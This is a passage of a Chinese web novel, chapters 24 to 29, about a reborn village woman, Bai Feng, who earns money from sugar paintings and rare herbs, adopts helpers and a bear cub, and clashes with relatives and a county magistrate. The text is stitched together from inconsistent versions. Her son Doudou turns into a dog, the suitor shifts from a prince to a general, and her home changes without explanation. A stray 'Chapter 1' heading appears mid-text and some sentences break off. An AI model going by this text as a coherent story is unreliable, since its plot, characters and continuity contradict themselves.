“等等。”白凤拦住她,“这孩子是不是饿坏了?” 胖妇人一愣,“饿坏了也不能偷东西啊。” 白凤蹲下来,看着那孩子,“你叫什么名字?” 孩子咬着嘴唇不说话。 “你要是饿了,我可以给你买吃的。但偷东西不对,知道吗?” 孩子的眼眶突然红了,“我娘病了,没钱买药。我想拿这块布去当铺换点钱。” 胖妇人听了这话,脸色缓和了些,“你娘得的什么病?” “咳嗽,咳得很厉害,还吐血。” 白凤心里一动,这症状听起来像是肺痨。她在前世见过类似的病例,虽然不能完全治愈,但可以缓解症状。 “你带我去看看你娘。” 孩子抬起头,眼里闪过一丝希望,“你、你是郎中?” “算是懂点医术。” 胖妇人犹豫了一下,最终还是松开了手,“算了算了,看在孩子可怜的份上,这布就送你了。” 孩子愣了一下,突然跪下来给胖妇人磕头,“谢谢婶子,谢谢婶子。” “快起来快起来。”胖妇人有些不好意思,摆摆手走了。 白凤扶起孩子,“走吧,带我去你家。” 孩子的家在镇子边缘的一间破草屋里,屋里黑漆漆的,只有一张床和一张破桌子。床上躺着一个面色蜡黄的妇人,正剧烈地咳嗽着。 白凤走到床边,给妇人把了把脉。脉象虚弱无力,确实是肺痨无疑。 “你娘这病拖得太久了,需要好好调养。” 孩子低着头,“我知道,可是我们没钱。” 白凤从怀里掏出一锭银子,“这些钱你拿去买药,按我说的方子抓药。” 孩子瞪大了眼睛,“这、这怎么行?” “拿着吧。”白凤把银子塞进他手里,“不过我有个条件。” “什么条件?” 第24章 石头 “你跟着我做事,帮我赚钱。等你娘病好了,你再决定是留是走。” 孩子咬了咬嘴唇,最终点了点头,“好,我答应你。” “你叫什么名字?” “石头。” 白凤笑了,“好名字,皮实。” 从石头家出来,天色已经暗了。白凤牵着豆豆往回走,大黄狗跟在后面。 “娘,你为什么要帮那个哥哥?”豆豆仰着小脸问。 “因为他需要帮助。”白凤摸了摸儿子的头,“而且娘也需要人手。” “那他以后就是我哥哥了?” “算是吧。” 豆豆高兴地蹦了起来,“太好了,我有哥哥了!” 大黄狗在旁边泼冷水,“你高兴得太早了,那小子看起来不太老实。” “你怎么知道?” “我闻得出来,他身上有很多种味道,去过很多地方。” 白凤若有所思,“那更好,说明他机灵。” 回到城隍庙,白凤把豆豆哄睡了,自己坐在门口,看着天上的星星。 大黄狗趴在她脚边,“你打算做什么生意?” “先从糖画开始。”白凤说,“成本低,见效快。等赚了钱,再想别的。” “你会做糖画?” “不会可以学。” “那老头不肯教你。” 白凤笑了,“谁说一定要他教?我自己琢磨就是了。” 第二天一早,白凤就带着豆豆去集市买了糖和铜勺。回到城隍庙,她开始试着做糖画。 第一次失败了,糖浆太稠,画不出形状。 第二次还是失败,糖浆太稀,一画就散开。 第三次,白凤调整了火候和糖的比例,终于画出了一个勉强能看的形状。 “娘好厉害!”豆豆在旁边鼓掌。 大黄狗凑过来看,“这是什么?虫子?” “这是龙。”白凤没好气地说。 “龙长这样?” “你懂什么,这叫抽象派。” 白凤又试了几次,手法越来越熟练。她前世学过绘画,虽然不精通,但基本功还在。糖画说到底就是在石板上作画,只要掌握了糖浆的温度和流速,画出来并不难。 到了中午,她已经能画出像样的图案了。 “走,我们去集市摆摊。” 豆豆兴奋地跟在后面,大黄狗叼着一块石板,一行人浩浩荡荡地出发了。 白凤在集市找了个角落,铺开石板,支起小炉子。她先画了几个样品摆在旁边,有兔子、小鸟、蝴蝶,还有一条龙。 “卖糖画咯,新鲜的糖画,两文钱一个!” 她的声音清亮,很快就吸引了几个路人。 一个小孩拉着娘的手,“娘,我要那个兔子。” 妇人看了看价钱,“两文钱?这么贵?” “童叟无欺,您看这手艺。”白凤拿起一个糖画兔子给她看。 妇人仔细端详了一下,确实做得精致,最终掏出两文钱,“给我来一个。” 白凤当场画了一个兔子,动作流畅,不到一盏茶的功夫就完成了。小孩接过糖画,开心得手舞足蹈。 有了第一个顾客,很快就有第二个、第三个。白凤的手越来越快,画出来的图案也越来越精致。 就在生意正好的时候,一个熟悉的身影出现在摊位前。 是那个卖糖画的老头。 老头黑着脸走过来,“你这是偷学我的手艺?” 白凤头也不抬,“老丈说笑了,糖画又不是你家独有的,怎么能说是偷学?” “你、你这是强词夺理!” “我只是凭本事吃饭。”白凤放下手里的勺子,看着他,“老丈要是觉得我抢了你的生意,大可以降价竞争。” 老头气得吹胡子瞪眼,“你这丫头,牙尖嘴利!” “过奖。” 老头在摊位前站了一会儿,最终还是走了。白凤知道这事没完,但她也不怕。这年头做生意,靠的就是手艺和胆量。 到了傍晚,白凤数了数今天的收入,一共赚了二百多文钱。虽然不多,但对她来说已经是一笔不小的收入了。 “娘,我们发财了!”豆豆抱着钱袋子,笑得眼睛都看不见了。 “这才哪到哪。”白凤收拾好东西,“走,娘带你去吃好吃的。” 他们在镇上找了家小饭馆,点了几个菜。正吃着,石头突然出现在门口。 “白姐姐。”石头走过来,身上的衣裳还是破旧,但洗得干干净净。 “你娘怎么样了?”白凤给他夹了块肉。 “好多了,今天已经能下床走动了。”石头眼眶有些红,“谢谢你。” “别光说谢谢,坐下吃饭。” 石头犹豫了一下,最终还是坐下了。他吃得很慢,每一口都嚼得很仔细,像是怕浪费了一样。 “明天开始,你就跟着我做事。”白凤说,“我会教你做糖画,你学会了,就帮我一起卖。” 石头眼睛一亮,“真的?” “我什么时候骗过你?” “可是我很笨,学不会怎么办?” “学不会就多练。”白凤拍了拍他的肩膀,“只要肯下功夫,没有学不会的。” 石头重重地点了点头。 吃完饭,白凤带着豆豆和石头回到城隍庙。石头看着破旧的庙宇,有些犹豫。 “你要是不愿意住这儿,可以每天来。”白凤说。 “不是。”石头摇摇头,“我只是觉得,白姐姐对我这么好,我不知道该怎么报答。” “好好干活就是报答。” 当天夜里,白凤躺在草席上,听着外面的虫鸣,心里盘算着接下来的计划。 糖画只是第一步,等赚够了本钱,她还要做别的生意。这个时代商机很多,只要肯动脑筋,总能找到赚钱的路子。 大黄狗突然开口,“有人来了。” 白凤立刻坐起来,走到门口往外看。月光下,几个黑影正朝城隍庙走来。 是黑甲侍卫。 为首的还是上次那个队长,他在庙门口停下,抱拳行礼,“白姑娘,王爷有请。” “这么晚了,有什么事明天再说。”白凤语气平淡。 “王爷说了,如果白姑娘不愿意去王府,他可以来这里。” 白凤皱眉,“他来这里做什么?” “王爷说,想见见小公子。” 白凤心里一紧,她就知道这个王爷不会善罢甘休。 “我说了,我和他没关系。” “白姑娘,王爷已经在路上了。”侍卫长的语气有些无奈,“您就算不见他,他也会来。” 白凤沉默了片刻,“他什么时候到?” “大概一炷香的时间。” 白凤转身进庙,把熟睡的豆豆抱起来,又叫醒了石头。 “怎么了?”石头揉着眼睛。 “有客人要来,你先带豆豆去后院。” 第25章 这就是咱们的家了 石头虽然不明所以,但还是照做了。 白凤站在庙门口,看着远处渐渐亮起的火把。她深吸一口气,准备迎接这场避无可避的会面。 马蹄声由远及近,很快,一队人马出现在城隍庙前。 为首的男人身穿玄色长袍,腰间佩剑,面容英俊却透着几分冷峻。他翻身下马,径直朝白凤走来。 月光下,两人四目相对。 白凤打量着眼前这个所谓的王爷,心里却在想,这人到底想干什么?#第一章 天刚蒙蒙亮,白凤就背着竹篓出了门。 这次上山,她的目标明确——那片长在悬崖边的血参。上回只采了一株,这回得多弄些,好去郡城卖个好价钱。 大黄狗在前头探路,不时回头看她一眼。自从上次山里那档子事后,这畜生跟她愈发亲近了,简直把她当主人供着。 白凤摸了摸它的脑袋:“走吧,今儿咱们多采些。” 山路崎岖,她却走得稳当。前世在这破地方待了二十年,哪条道能通哪条道是死路,她闭着眼都清楚。半个时辰后,她站在了那处悬崖边。 血参还在,甚至比上次看到的还多了几株。 白凤心里一喜,麻利地把竹篓系在腰上,抓住崖边的藤蔓往下探。大黄狗在上头急得直转圈,呜呜叫着。 “别叫,我有分寸。” 她手脚并用,很快采到了五株血参。这东西根茎粗壮,药性极好,拿到郡城少说能卖二十两银子。 回程时,白凤又顺道采了些常见的草药。当归、黄芪、茯苓,这些虽不如血参值钱,但胜在量大,凑一凑也能换不少铜板。 等背着满满一篓药材回到镇上,已是午后。 白凤没回家,直接奔了镇口的牛车行。去郡城的牛车一天只有一趟,她得赶在申时前上车。 “哟,白家丫头,又要去郡城?”赶车的老张头认得她。 “嗯,麻烦张叔了。”白凤递过去十文钱。 老张头接过钱,上下打量她一眼:“你一个小丫头,带这么多东西去城里,可得小心些。郡城不比咱们镇子,什么人都有。” “我晓得。” 牛车晃晃悠悠地往郡城去了。白凤坐在车厢里,手里攥着根木棍,眼睛却一直盯着路边。 大黄狗趴在她脚边,耳朵竖得老高。 郡城离镇子有三十里地,牛车走了快两个时辰才到。白凤跳下车,直奔药材市场。 这市场她熟,前世为了给那对狗男女攒钱,没少往这儿跑。 “小姑娘,卖药材?”一个留着山羊胡的掌柜迎上来。 白凤点头,把竹篓放在柜台上:“您看看。” 掌柜打开篓子,眼睛立刻亮了:“血参?还是五株?” “您给个实在价。” 掌柜捻着胡子,仔细看了看:“这品相,一株四两,五株二十两。其他这些杂七杂八的,我再给你凑个整,二十五两,如何?” 白凤没讨价还价,爽快地应了。 掌柜称完药材,从柜子里取出二十五两碎银,用油纸包好递给她:“小姑娘,你这药材采得好,下次有了还来我这儿。” “一定。” 白凤接过银子,转身就走。她没注意到,角落里有双眼睛一直盯着她。 出了药材市场,白凤打算去布庄扯几尺布,给自己做身新衣裳。刚走到巷子口,身后突然传来急促的脚步声。 她心里一紧,脚步加快。 “站住!” 三个地痞模样的人拦住了去路。为首那个满脸横肉,手里拎着根木棒:“小丫头,把银子交出来。” 白凤往后退了一步,手摸向腰间的匕首。 “哟,还想反抗?”横肉脸冷笑,“识相的赶紧把钱拿出来,不然——” 话没说完,一道黄影猛地扑了上去。 大黄狗张嘴就咬住了横肉脸的手腕,那人惨叫一声,木棒掉在地上。另外两个地痞见状,抄起家伙就要打狗。 白凤抽出匕首,正要上前,眼角余光突然瞥见一道黑影。 黑甲不知从哪儿冒出来,几个起落就把那两个地痞撂倒了。它动作快得惊人,爪子在地痞脸上划过,留下几道血痕。 横肉脸吓得屁滚尿流,捂着流血的手腕就跑。 白凤收起匕首,看向黑甲。这黑猫蹲在墙头,舔着爪子,一副事不关己的样子。 “多谢了。”她低声说。 黑甲甩了甩尾巴,跳下墙头消失在巷子深处。 大黄狗摇着尾巴凑过来,白凤摸了摸它的脑袋:“干得不错。” 这一遭虽然有惊无险,但白凤明白,光靠大黄和黑甲还不够。她得找个更厉害的帮手。 回到镇上,白凤没回舅舅家,而是去了牙行。 “我要买房子。”她对牙人说。 牙人是个精瘦的中年男人,闻言上下打量她一番:“小姑娘,买房子可不是闹着玩的,你有银子吗?” 白凤从怀里掏出十两银子拍在桌上。 牙人眼睛一亮,态度立刻殷勤起来:“您稍等,我这就给您找合适的。” 最后白凤看中了镇东头的一处小院。院子不大,三间房,带个小菜园,要价十二两。她还了还价,十两成交。 等拿到房契,天已经黑了。 白凤站在新院子里,看着空荡荡的屋子,心里却踏实了。这是她重生后第一个真正属于自己的地方。 大黄狗在院子里转了一圈,找了个角落趴下。 “从今儿起,这就是咱们的家了。”白凤说。 搬进新家的第三天,白凤就开始琢磨找黑熊的事。 大黄狗虽然凶猛,但到底只是条狗,遇上真正的恶人还是不够看。她需要一个更有震慑力的帮手——比如黑熊。 前世她听人说过,镇子后山深处有个地方叫磨房沟,那里熊瞎子成群。只是路途凶险,寻常人根本不敢去。 但白凤不是寻常人。 她收拾了些干粮和水,带上匕首和绳索,天还没亮就出了门。大黄狗紧跟在后,黑甲不知从哪儿冒出来,也跟了上来。 “你俩都跟着?”白凤看看狗,又看看猫,“行,人多力量大。” 进山的路越往深处越难走。白凤手脚并用,翻过一道又一道山梁。快到晌午时,她终于看到了一条山沟。 沟里雾气弥漫,隐约能看见几个破败的石磨——这就是磨房沟了。 第26章 关你什么事? 白凤正要下去,突然听见身后传来窸窸窣窣的声响。 她猛地回头,看见一个人影躲在树后。 “谁?” 那人影一顿,慢吞吞地走了出来。 赤脚郎中。 白凤认得他,镇上有名的游医,专给人治些跌打损伤的小毛病。这人医术一般,心眼却多,最爱占小便宜。 “哎哟,白姑娘,真巧啊。”赤脚郎中堆着笑脸走过来,“您这是来采药?” “关你什么事?” “别这么说嘛。”赤脚郎中搓着手,“我看您上回采的血参品相极好,就想着跟您学学,这深山老林的,您一个小姑娘也危险,不如咱们结伴?” 白凤冷笑:“不必。” 说完转身就走。 赤脚郎中在后头急了:“哎,您别走啊,我真是一片好心——” 白凤懒得理他,加快脚步往沟里去。大黄狗回头冲着赤脚郎中龇牙,那人吓得往后退了两步。 等白凤的身影消失在雾气里,赤脚郎中眼珠一转,也悄悄跟了上去。 他打的主意很简单——看白凤去哪儿采药,然后自己也去采。这小丫头年纪轻轻就能找到血参,肯定知道不少好地方。 磨房沟里阴冷潮湿,脚下全是腐烂的落叶。白凤小心翼翼地往前走,眼睛四处搜寻。 黑甲突然停下,冲着前方一处山洞低吼。 白凤心里一动——有戏。 她蹑手蹑脚地靠近山洞,还没走到洞口,就闻到一股浓重的腥臭味。洞口散落着些骨头渣子,还有新鲜的粪便。 黑熊,而且就在洞里。 白凤正琢磨怎么把熊引出来,身后突然传来一声惨叫。 她猛地回头,看见赤脚郎中不知什么时候跟到了洞口附近,此刻正被一头成年黑熊按在地上。 那熊足有七八百斤,一巴掌拍在赤脚郎中肩上,直接把人拍翻了。赤脚郎中惨叫着想爬起来,黑熊张嘴咬住他的腿,往洞里拖。 “救命!救命啊!” 白凤站在原地没动。 不是她冷血,而是这种情况下,她上去也是送死。那头黑熊明显护崽心切,赤脚郎中估计是不小心踩到了它的领地。 赤脚郎中的惨叫声越来越弱,最后彻底没了动静。 白凤等了片刻,确认那头成年黑熊拖着尸体进了洞深处,这才绕到洞口另一侧。 她趴在地上往里看,借着微弱的光线,看见洞里有两只幼崽。 机会来了。 白凤从怀里掏出事先准备好的肉干,轻轻扔进洞里。两只幼崽闻到肉味,摇摇晃晃地爬过来。 她屏住呼吸,等幼崽靠近洞口,猛地伸手抓住一只,撒腿就跑。 身后传来母熊暴怒的吼声,白凤头也不回,抱着幼崽往山下狂奔。大黄狗和黑甲在前头开路,她跌跌撞撞地跑了不知多久,直到再也听不见熊吼,才敢停下。 怀里的幼崽挣扎着,发出奶声奶气的叫声。 白凤看着它,突然笑了:“小家伙,从今天起,你就跟着我了。” 幼崽养了半个月,已经跟白凤混熟了。 这小东西除了能吃,倒也听话。白凤给它取名叫黑蛋,每天喂它吃肉喝粥,小家伙长得飞快,半个月就胖了一圈。 大黄狗起初对黑蛋很不满,总想欺负它。结果被黑蛋一巴掌拍在脸上,老实了。 这天傍晚,白凤正在院子里给黑蛋洗澡,院门突然被人一脚踹开。 王婆子气势汹汹地冲进来,身后跟着她那个游手好闲的儿子王二癞。 “好你个白凤,偷我家孩子!”王婆子指着她鼻子骂。 白凤愣了:“什么?” “还装!我家小宝今儿在你院门口玩,这会儿不见了,不是你偷的是谁?” 白凤冷笑:“你家那熊孩子,我要他做什么?” “你不偷,他能不见?”王婆子不依不饶,“我看你就是见不得别人家孩子好,自己是个克父克母的扫把星,就想害别人!” 王二癞也跟着起哄:“对!赶紧把我侄子交出来!” 话音刚落,院子角落传来一声惊恐的尖叫。 王婆子循声看去,看见她那宝贝孙子正蹲在黑蛋旁边,伸手去摸熊崽子。黑蛋被摸烦了,抬起爪子就是一巴掌。 小宝哇地一声哭了,脸上多了三道血痕。 “我的娘啊!”王婆子冲过去抱起孙子,“这是什么东西?熊?你养熊?” 白凤把黑蛋抱起来:“我养什么关你什么事?” “关我什么事?你养这么危险的东西,万一伤了人怎么办?今儿伤的是我孙子,明儿说不定就伤别人家孩子!”王婆子抱着孙子就往外走,“我这就去找里正,让他把你赶出镇子!” 白凤拦都没拦。 这事她早料到了。养黑熊确实惹眼,镇上那些长舌妇迟早会说三道四。只是没想到,王婆子会闹得这么快。 果然,不到一个时辰,王婆子就领着一群人回来了。 为首的是白凤的舅妈,一个尖嘴猴腮的中年妇人。舅妈身后跟着里正和几个镇上的闲汉。 “白凤,你给我出来!”舅妈站在院门口叫骂,“你个丧门星,我们家养你这么多年,你不知感恩也就罢了,还在外头养这些害人的畜生!你是想害死全镇的人吗?” 白凤推开院门,面无表情地看着她。 “舅妈这话说得可真难听。我用自己的银子买房子,养自己的东西,碍着你什么事了?” “碍着我什么事?”舅妈冷笑,“你养的那黑熊伤了王家孩子,这事全镇都知道了!你说碍不碍着我?我可丢不起这个人!” 里正是个老实人,闻言皱眉:“白凤啊,你养狗养猫也就罢了,怎么还养起熊来了?这东西凶得很,万一真伤了人,可怎么得了?” “黑蛋不会伤人。”白凤说,“今儿是王家那孩子自己爬进我院子,还去招惹它,它才动爪子的。” “放屁!”王婆子跳起来,“我孙子才三岁,懂什么?就算他招惹了,你那畜生就能伤人?说到底还是你养的东西有问题!” 周围看热闹的人也跟着起哄。 “就是,养熊算怎么回事?” “这要是哪天发起疯来,咱们还能睡安稳觉?” “依我看,要么把熊杀了,要么让白凤搬走!” 第27章 赶走! 舅妈见势头对自己有利,立刻添油加醋:“里正,您看看,大家伙都这么说。我看白凤这丫头就是存心不良,您得给大家做主啊!” 里正为难地看着白凤:“要不,你把那熊送走?” “不行。”白凤斩钉截铁。 “你——”舅妈气得浑身发抖,“好,你不送走是吧?那你就别怪我不客气了!里正,我提议把白凤赶出镇子,省得她在这儿害人!” “对,赶走!” “赶走!” 人群里响起一片附和声。 白凤攥紧了拳头,正要说话,院门外突然传来一个浑厚的男声。 “谁要赶我外甥女?” 人群让开一条路,一个皮肤黝黑、身材魁梧的中年男人走了进来。 “当家的!”舅妈脸色一变。 来人正是白凤的舅舅,常年在外跑镖,难得回来一次。 舅舅扫了众人一眼,目光落在白凤身上:“丫头,怎么回事?” 白凤简单说了事情经过。 舅舅听完,看向王婆子:“你孙子自己爬进人家院子,被抓伤了反倒怪别人?” “我——”王婆子语塞。 “还有你。”舅舅转向舅妈,“凤丫头用自己的银子买房子,养什么是她的自由,你凭什么管?” 舅妈脸涨得通红:“我这不是为了全镇的安全着想吗?” “安全?”舅舅冷笑,“我看你是嫌凤丫头搬出去,少了个使唤的人吧?” 这话说得舅妈哑口无言。 舅舅又看向里正:“里正,我外甥女是个本分人,她养的东西也都拴得好好的。今儿这事是王家孩子不对,凭什么要赶她走?” 里正想了想,点头:“你说得也有道理。” “那就这么定了。”舅舅拍板,“谁再敢欺负我外甥女,别怪我不客气。” 他在镇上颇有威望,这话一出,众人面面相觑,不敢再说什么。 王婆子不甘心地走了,舅妈也灰溜溜地离开。 黑甲侍卫跪在尉迟深面前,额头抵着地面,声音却稳得出奇。 “将军,白姑娘说她不回京。” 尉迟深正在擦拭佩剑,手上的动作停了。 “她怎么说的?” “原话是……”侍卫顿了顿,“麻烦将军别管闲事。” 擦剑的布掉在了桌上。 尉迟深抬起头,眼里闪过什么情绪,转瞬即逝。他拿起茶盏喝了一口,茶水已经凉透了。 “退下吧。” 侍卫退出去后,副将进来禀报军务。说完正事,副将犹豫了一下:“将军,您真不打算再派人去?” “她既然不愿意,强求无益。”尉迟深放下茶盏,“备马,去校场。” 副将张了张嘴,最终什么也没说。 将军府外,一辆马车停在门口。车帘掀开,下来一个穿着鹅黄色衣裙的姑娘,正是户部侍郎家的千金柳如烟。 门房认得她,笑着打招呼:“柳小姐又来了。” “将军在吗?”柳如烟递过去一个荷包。 “刚出门去了校场。”门房收下荷包,压低声音,“不过小姐要是有话,可以留个信。” 柳如烟犹豫片刻,还是摇了摇头。她想了想,开口问:“听说将军最近派人去接一个姑娘回京?” 门房脸色一变,连忙摆手:“小姐可别乱说,我们当差的哪知道这些。” “我父亲说的。”柳如烟笑了笑,“说是将军的救命恩人,我还想着该准备什么礼物去拜访呢。” 门房这才松了口气:“那姑娘没回来,说是不愿意进京。” 柳如烟眼里闪过一丝光亮,很快又收敛起来:“这样啊,那真是可惜了。” 她转身上了马车,吩咐车夫回府。 马车里,贴身丫鬟小声说:“小姐,那个乡下姑娘真是不识抬举,将军亲自派人去接,居然还敢拒绝。” “住口。”柳如烟瞪了她一眼,“将军的事也是你能议论的?” 丫鬟吓得缩了缩脖子。 柳如烟靠在车壁上,手指轻轻敲着膝盖。不愿意回京?这倒是个好消息。一个乡下姑娘,就算救过将军的命,不在京城也翻不起什么浪花。 只是……她想起刚才门房说话时的表情,心里总觉得有些不对劲。 马车拐进侍郎府,柳如烟下车时,正好碰见母亲在花园里侍弄花草。 “娘,我听说将军有个救命恩人?” 柳夫人手里的剪刀顿了顿:“你又去将军府了?” “我就是问问。”柳如烟走过去,拿起另一把剪刀帮忙,“那姑娘是什么来历?” “一个山野村姑罢了。”柳夫人剪下一枝花,“你父亲说,将军当初受伤,是那姑娘救的。不过这种事,给些银两打发了就是,你不必放在心上。” “可是将军派人去接她回京。” “接了又如何?不还是没回来。”柳夫人转过身,认真看着女儿,“烟儿,你要记住,将军需要的是能帮他的人,不是个只会采药的村姑。” 柳如烟点点头,心里却还是有些不舒服。 第二天,柳家举办赏花宴,京城里的小姐太太们都来了。 几个关系好的小姐围在一起说话,话题自然离不开京城里那几位年轻俊彦。 “我听说尉迟将军最近心情不太好。”一个穿粉色衣裙的姑娘小声说。 “为什么?” “还不是因为那个乡下姑娘。”粉衣姑娘压低声音,“听说将军派了黑甲侍卫去接人,那可是将军的亲卫,结果人家根本不领情,直接拒绝了。” “这也太不识抬举了吧!”另一个姑娘惊讶道。 柳如烟端着茶盏,听她们议论,没有说话。 “我看啊,那姑娘就是装模作样。”粉衣姑娘撇撇嘴,“乡下来的,能有什么见识?说不定就是想吊着将军,好抬高身价呢。” “就是,真要是个好的,怎么会拒绝进京?肯定是知道自己上不了台面,怕来了京城丢人。” “说不定长得也不怎么样,毕竟在山里风吹日晒的……” 几个姑娘你一言我一语,把白凤贬得一文不值。 柳如烟抿了口茶,放下茶盏:“好了,别说了。” “如烟姐姐,你这么大度啊?”粉衣姑娘笑道,“要是我,早就气死了。” “有什么好气的。”柳如烟站起身,“一个乡下姑娘而已,翻不起什么浪花。” 话是这么说,但她心里清楚,能让尉迟深派黑甲侍卫去接的人,绝不会是普通的村姑。 只是现在人家不回来,她倒是可以松口气了。 第28章 算计 镇上的药铺关门已经两个月了。 自从郎中死后,没人再收药材,村民们采的药都堆在家里,卖不出去。 白凤第一次去郡上卖药时,还有些忐忑。她牵着豆豆,背着一大筐药材,在药铺门口站了半天才进去。 掌柜的是个五十多岁的老者,戴着老花镜,正在算账。 “掌柜的,收药材吗?” 老者抬起头,看了她一眼:“放下我看看。” 白凤把筐放在柜台上。 老者拿起一株人参,仔细端详,眼睛突然亮了:“这品相……你哪来的?” “山里采的。” “多少钱?” 白凤想了想:“您看着给吧。” 老者沉默片刻,伸出三根手指:“三十两。” 白凤愣住了。她原本以为能卖个十两就不错了。 “嫌少?”老者以为她不满意。 “不不不,就三十两。”白凤连忙说。 拿到银子后,白凤带着豆豆去买了些肉和点心。豆豆咬着肉干,高兴得尾巴都要摇断了。 从那以后,白凤每隔十天半月就去一趟郡上。 次数多了,和药铺掌柜也熟了。 “白姑娘,最近有没有见过雪莲?”掌柜的问。 “雪莲?”白凤想了想,“那东西得去高山上找,不过我可以试试。” “有人出高价要,如果你能找到,我给你五十两。” 白凤眼睛一亮:“成交。” 她花了三天时间,终于在一座险峻的山峰上找到了雪莲。差点摔下悬崖,幸好豆豆及时咬住了她的衣服。 拿到五十两银子时,白凤突然有了个主意。 既然有人愿意出高价买稀罕东西,她为什么不专门做这个? 她开始打听各种稀罕药材的消息,只要有人肯出价,她就想办法弄到手。 有一次,一个富商要千年何首乌,出价一百两。 白凤找了半个月,终于在一处古墓附近找到了。挖的时候惊动了墓里的蛇窝,要不是豆豆拼命护着,她早就被咬死了。 但一百两银子到手后,所有的辛苦都值了。 白凤的名声渐渐在郡上传开了。 有人说她是药王转世,有人说她养了神兽,还有人说她会法术。 白凤不管这些传言,只管赚钱。 她给豆豆买了新窝,还买了好几身新衣服。院子也重新修缮了一遍,添置了不少家具。 日子过得越来越好。 村里人看到白凤的变化,眼红的不少。 沈冬梅就是其中之一。 她站在自家院子里,看着对面白凤家新修的院墙,脸色难看得要命。 “凭什么她一个丧门星,日子过得比我们还好!” 师爷正在屋里写东西,听到妻子的抱怨,头也不抬:“少管闲事。” “我就是看不惯!”沈冬梅走进屋,“你说她一个姑娘家,哪来那么多钱?” “人家有本事赚钱。” “本事?”沈冬梅冷笑,“说不定是用什么见不得人的手段。” 师爷放下笔,看着妻子:“你想干什么?” “我什么都不想干。”沈冬梅摸了摸肚子,“我只是替娘家不值,当初那房子本来是我们的。” 师爷皱起眉头:“那是人家祖产,你别乱来。” 沈冬梅没再说话,但眼里闪过一丝算计。 沈家。 沈冬梅的舅舅沈富贵坐在堂屋里,脸色铁青。 “你说什么?县太爷要查白凤?” 师爷站在一旁,低着头:“是大人听说白凤经常出入深山,怀疑她私藏违禁药材。” “胡闹!”沈富贵一拍桌子,“那丫头虽然可恨,但这种事可不能乱来。” “舅舅,你怎么胳膊肘往外拐?”沈冬梅从里屋走出来,“那房子本来就该是我们的,现在她过得那么好,凭什么?” “住口!”沈富贵瞪了外甥女一眼,“当初是你们自己作死,想害人家性命,现在还有脸说这些?” 沈冬梅脸色一白,摸着肚子坐下。 沈富贵看着她的肚子,叹了口气:“你现在怀着身子,少操心这些。” “舅舅,我就是咽不下这口气。”沈冬梅眼圈红了,“她一个丧门星,克死了爹娘,现在日子过得比谁都好,老天爷不长眼啊。” “行了行了。”沈富贵摆摆手,看向师爷,“你去跟县太爷说,这事就算了吧。” 师爷为难道:“大人已经下了决心……” “那你就想办法让他改主意。”沈富贵站起身,“我去趟白凤那里,把话说清楚。” “舅舅!”沈冬梅急了。 “你给我老实待着。”沈富贵指着她,“要是再闹出什么事,我第一个不饶你。” 说完,沈富贵带着家丁往白凤家走。 白凤正在院子里晒药材,豆豆趴在她脚边打盹。 听到敲门声,豆豆立刻警觉地竖起耳朵。 白凤打开门,看到沈富贵,眉头微皱:“沈老爷有事?” “白姑娘,我是来赔罪的。”沈富贵拱了拱手,“之前冬梅那丫头不懂事,做了些混账事,我这个当舅舅的管教不严。” 白凤靠在门框上,没说话。 “这些是赔礼。”沈富贵让家丁把东西放下,“还请姑娘大人不记小人过。” “沈老爷客气了。”白凤看了眼那些东西,“不过我不需要这些,你们拿回去吧。” “白姑娘……” “如果没别的事,我还要忙。”白凤作势要关门。 沈富贵连忙伸手挡住:“姑娘,我还有句话要说。” “说。” “最近县衙那边……”沈富贵压低声音,“可能会找你麻烦。你多加小心,千万别让人抓住把柄。” 白凤眼神一凛:“什么意思?” “就是这个意思。”沈富贵叹了口气,“我也是听说了才来提醒你,你自己多注意。” 说完,沈富贵带着人离开了。 白凤关上门,脸色沉了下来。 豆豆蹭了蹭她的腿,发出呜咽声。 “别怕。”白凤摸了摸它的头,“兵来将挡,水来土掩。” 她转身进屋,开始收拾东西。 该藏的藏起来,该处理的处理掉。 忙活到半夜,白凤才躺下休息。 第二天一早,县衙的差役就上门了。 “白凤,县太爷有请。” 白凤正在喂豆豆,头也不抬:“什么事?” “去了就知道了。”差役冷着脸,“快走吧,别让大人等急了。” 白凤拍拍手上的灰,跟着差役走了。 县衙大堂上,县太爷端坐在上首,师爷站在一旁。 “跪下!”差役喝道。 白凤站着不动:“不知县太爷找我何事?” 县太爷眯起眼睛:“大胆!见了本官还不跪?” “民女身体不适,恕难下跪。”白凤平静地说。 第29章 两清了 县太爷脸色一沉,正要发作,师爷在旁边咳了一声。 “罢了。”县太爷摆摆手,“本官问你,你这些日子经常进山,可是在私采违禁药材?” “民女采的都是寻常药材,不知何来违禁之” “寻常药材?”县太爷冷笑,“那你如何解释家中那些珍稀药材?一个村姑,哪来那么多好东西?” “民女自己采的,有何不可?” “放肆!”县太爷一拍惊堂木,“来人,去白凤家搜查,把所有药材都带回来!” 白凤心里一紧,但面上不显。 差役们冲出大堂,直奔白凤家。 豆豆正在院子里,看到一群人闯进来,立刻狂吠起来。 “畜生,找死!”一个差役抬脚要踢。 豆豆灵活地躲开,反咬了他一口。 “啊!”差役惨叫一声,其他人立刻围了上来。 院子里顿时乱成一团。 白凤养的几只鸡也受惊了,扑腾着翅膀到处飞。一只老猫从屋顶跳下来,对着差役们哈气。 “把这些畜生都抓起来!”领头的差役喊道。 他们拿出绳子和笼子,开始抓捕。 豆豆拼命反抗,但寡不敌众,最终还是被套住了。 其他动物也一一被抓。 差役们翻箱倒柜,把白凤家翻了个底朝天。 “找到了!”一个差役从地窖里拎出一个箱子,“这里面全是好东西!” 箱子里装着各种珍稀药材,有些确实价值不菲。 领头的差役露出笑容:“带走,全部带走!” 县衙大堂上,县太爷看着搬上来的药材,眼睛都直了。 “白凤,你还有何话” “这些都是民女合法所得。”白凤冷静地说,“每一样都有来路,可以查证。” “来路?”县太爷冷笑,“你一个村姑,能有什么来路?依本官看,这些都是你偷来的!” “大人不能血口喷人。” “血口喷人?”县太爷站起身,“来人,把她关进大牢,等本官查清楚再说!” 差役们上前要抓人。 白凤退后一步:“大人这是要屈打成招?” “放肆!”县太爷怒道,“还不快动手!” 就在这时,门外传来一个声音。 “慢着。” 众人转头,看到一个身穿百夫长军服的男人走进来。 “你是何人?竟敢擅闯县衙!”县太爷怒道。 “在下李铭,镇北军百夫长。”男人抱拳,“听闻县太爷要抓白姑娘,特来说句公道话。” “什么公道话?” “前些日子,家妻重病,多亏白姑娘找来救命药,才捡回一条命。”李铭看向白凤,“白姑娘医者仁心,绝非大人所说的盗贼。” 县太爷脸色变了变:“就算如此,她私藏这么多珍稀药材,也得给个说法。” “这些药材都是我请白姑娘代为收集的。”李铭从怀里掏出一张纸,“这是清单,每一样都有记录。” 县太爷接过纸,脸色越来越难看。 